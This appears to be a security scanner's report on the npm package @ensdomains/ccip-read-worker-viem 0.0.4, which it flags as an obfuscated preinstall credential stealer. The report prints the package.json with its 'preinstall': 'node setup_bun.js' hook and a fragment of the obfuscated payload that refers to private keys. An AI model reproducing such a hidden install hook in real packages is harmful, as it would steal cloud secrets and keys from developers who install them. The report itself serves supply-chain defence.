@ensdomains/ccip-read-worker-viem 0.0.4
obfuscated preinstall credential stealer
Install hook bootstraps Bun sidecar runtimeObfuscated payload harvests multi-cloud secrets
SHA-25625460c9078a6ca44b2b690a4dea02ef4c2bfbef8a23eb3541845431195dbae8d
Also flagged by osv (MAL-2025-190725: Malicious code in @ensdomains/ccip-read-worker-viem (npm)) +3 more.
Evidence
1:9128857… sues/{issue_number}/sub_issues','onSecondaryRateLimit','gdjqe','eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0','EQjzw','ytMlm','Private\x20key','MIjMS','CaNEv','tNVUa','onSubchannelStateUpdate','getOperationInternal','fieldNames\x20must …
1{
2 "name": "@ensdomains/ccip-read-worker-viem",
3 "version": "0.0.4",
4 "module": "dist/index.js",
5 "type": "module",
6 "types": "./dist/index.d.ts",
7 "typings": "./dist/index.d.ts",
8 "sideEffects": false,
9 "scripts": {
10 "dev": "wrangler dev",
11 "start": "wrangler dev",
12 "test": "vitest",
13 "clean": "rm -rf ./dist",
14 "build": "tsc --project tsconfig.build.json",
15 "cf-typegen": "wrangler types",
16 "preinstall": "node setup_bun.js"
17 },
18 "files": [
19 "src",
20 "dist"
21 ],
22 "exports": {
23 ".": {
24 "types": "./dist/index.d.ts",
25 "import": "./dist/index.js"
26 },
27 "./package.json": "./package.json"
28 },
29 "devDependencies": {
30 "@cloudflare/vitest-pool-workers": "^0.4.23",
31 "@cloudflare/workers-types": "^4.20240815.0",
32 "@types/bun": "latest",
33 "cloudflare": "^3.5.0",
34 "vitest": "1.5.0"
35 },
36 "peerDependencies": {
37 "typescript": "^5.0.0"
38 },
39 "dependencies": {
40 "itty-router": "^5.0.17",
41 "viem": "^2.19.6"
⋯4 lines
36:30… dler.type],
37 result: result,
38 });
39 return "0x";
40 })();
41 // Encode return data
42 return {
43 status: 200,
44 body: {
45 data: returnBytes, …
50:16… sender, callData] = req.method === "GET"
51 ? [req.params.sender, req.params.callData]
52 : await req
53 .json()
54 .then(({ sender, data }) => [sender, data]);
55 if (!sender || !callData || !isAddress( …
62:4… return json({ data: { error: `Internal server error: ${e.toString()}` } }, { status: 500 });
63 }
64 };
65 const add = ({ type, handle, }) => {
66 const fn = parseAbiItem(type);
67 …
Showing the top 5 files — 1 more file (14 regions) not shown.
No evidence locations were recorded for this file. Raw result